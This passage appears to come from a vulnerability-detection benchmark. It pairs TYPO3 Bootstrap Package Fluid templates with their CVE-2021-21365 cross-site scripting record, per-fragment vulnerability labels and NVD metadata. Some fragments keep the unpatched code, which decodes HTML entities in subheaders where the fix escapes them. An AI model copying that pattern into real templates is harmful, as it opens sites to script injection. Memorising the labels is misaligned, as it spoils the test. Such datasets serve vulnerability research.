name=\"imageConfig\">{settings.responsiveimages.contentelements.{data.CType}}</f:variable>\n <f:variable name=\"imageConfig\">{imageConfig.{item.data.item_type}}</f:variable>\n <bk2k:data.imageVariants as=\"variants\" variants=\"{variants}\" multiplier=\"{imageConfig.multiplier}\" gutters=\"{imageConfig.gutters}\" corrections=\"{imageConfig.corrections}\" />\n <f:render partial=\"Media/Rendering/Image\" arguments=\"{file: item.images.0, data: item.data, settings: settings, variants: variants}\" />\n </f:if>\n </div>\n </div>\n</f:link.typolink>\n</html>" ]
[ 1, 0, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<html xmlns:f=\"http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers\" data-namespace-typo3-fluid=\"true\">\n<f:link.typolink parameter=\"{item.data.link}\" additionalAttributes=\"{draggable:'false'}\">\n <div class=\"valign\">\n <div class=\"carousel-text vcontainer\" {f:if(condition: item.data.text_color,then: 'style=\"color: {item.data.text_color};\"')}>", " <h{item.data.header_layout} class=\"carousel-header{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.header}</f:format.htmlspecialchars></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-subheader{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.subheader}</f:format.htmlspecialchars></h{item.data.subheader_layout}>", " </f:if>\n <f:format.html>{item.data.bodytext}</f:format.html>\n </div>\n <div class=\"carousel-image vcontainer\">\n <f:if condition=\"{item.images.0}\">\n <f:variable name=\"imageConfig\">{settings.responsiveimages.contentelements.{data.CType}}</f:variable>\n <f:variable name=\"imageConfig\">{imageConfig.{item.data.item_type}}</f:variable>\n <bk2k:data.imageVariants as=\"variants\" variants=\"{variants}\" multiplier=\"{imageConfig.multiplier}\" gutters=\"{imageConfig.gutters}\" corrections=\"{imageConfig.corrections}\" />\n <f:render partial=\"Media/Rendering/Image\" arguments=\"{file: item.images.0, data: item.data, settings: settings, variants: variants}\" />\n </f:if>\n </div>\n </div>\n</f:link.typolink>\n</html>" ]
[ 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<html xmlns:f=\"http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers\" data-namespace-typo3-fluid=\"true\">\n<f:if condition=\"{subheader}\">\n <f:switch expression=\"{layout}\">\n <f:case value=\"1\">\n <h2 class=\"{class} {positionClass}\">", " <span><f:format.htmlentitiesDecode>{subheader}</f:format.htmlentitiesDecode></span>", " </h2>\n </f:case>\n <f:case value=\"2\">\n <h3 class=\"{class} {positionClass}\">", " <span><f:format.htmlentitiesDecode>{subheader}</f:format.htmlentitiesDecode></span>", " </h3>\n </f:case>\n <f:case value=\"3\">\n <h4 class=\"{class} {positionClass}\">", " <span><f:format.htmlentitiesDecode>{subheader}</f:format.htmlentitiesDecode></span>", " </h4>\n </f:case>\n <f:case value=\"4\">\n <h5 class=\"{class} {positionClass}\">", " <span><f:format.htmlentitiesDecode>{subheader}</f:format.htmlentitiesDecode></span>", " </h5>\n </f:case>\n <f:case value=\"5\">\n <h6 class=\"{class} {positionClass}\">", " <span><f:format.htmlentitiesDecode>{subheader}</f:format.htmlentitiesDecode></span>", " </h6>\n </f:case>\n <f:defaultCase>\n <f:if condition=\"{default}\">\n <f:render partial=\"Header/SubHeader\" arguments=\"{\n subheader: subheader,\n class: class,\n positionClass: positionClass,\n layout: default}\" />\n </f:if>\n </f:defaultCase>\n </f:switch>\n</f:if>\n</html>" ]
[ 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<html xmlns:f=\"http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers\" data-namespace-typo3-fluid=\"true\">\n<f:if condition=\"{subheader}\">\n <f:switch expression=\"{layout}\">\n <f:case value=\"1\">\n <h2 class=\"{class} {positionClass}\">", " <span><f:format.htmlspecialchars doubleEncode=\"false\">{subheader}</f:format.htmlspecialchars></span>", " </h2>\n </f:case>\n <f:case value=\"2\">\n <h3 class=\"{class} {positionClass}\">", " <span><f:format.htmlspecialchars doubleEncode=\"false\">{subheader}</f:format.htmlspecialchars></span>", " </h3>\n </f:case>\n <f:case value=\"3\">\n <h4 class=\"{class} {positionClass}\">", " <span><f:format.htmlspecialchars doubleEncode=\"false\">{subheader}</f:format.htmlspecialchars></span>", " </h4>\n </f:case>\n <f:case value=\"4\">\n <h5 class=\"{class} {positionClass}\">", " <span><f:format.htmlspecialchars doubleEncode=\"false\">{subheader}</f:format.htmlspecialchars></span>", " </h5>\n </f:case>\n <f:case value=\"5\">\n <h6 class=\"{class} {positionClass}\">", " <span><f:format.htmlspecialchars doubleEncode=\"false\">{subheader}</f:format.htmlspecialchars></span>", " </h6>\n </f:case>\n <f:defaultCase>\n <f:if condition=\"{default}\">\n <f:render partial=\"Header/SubHeader\" arguments=\"{\n subheader: subheader,\n class: class,\n positionClass: positionClass,\n layout: default}\" />\n </f:if>\n </f:defaultCase>\n </f:switch>\n</f:if>\n</html>" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 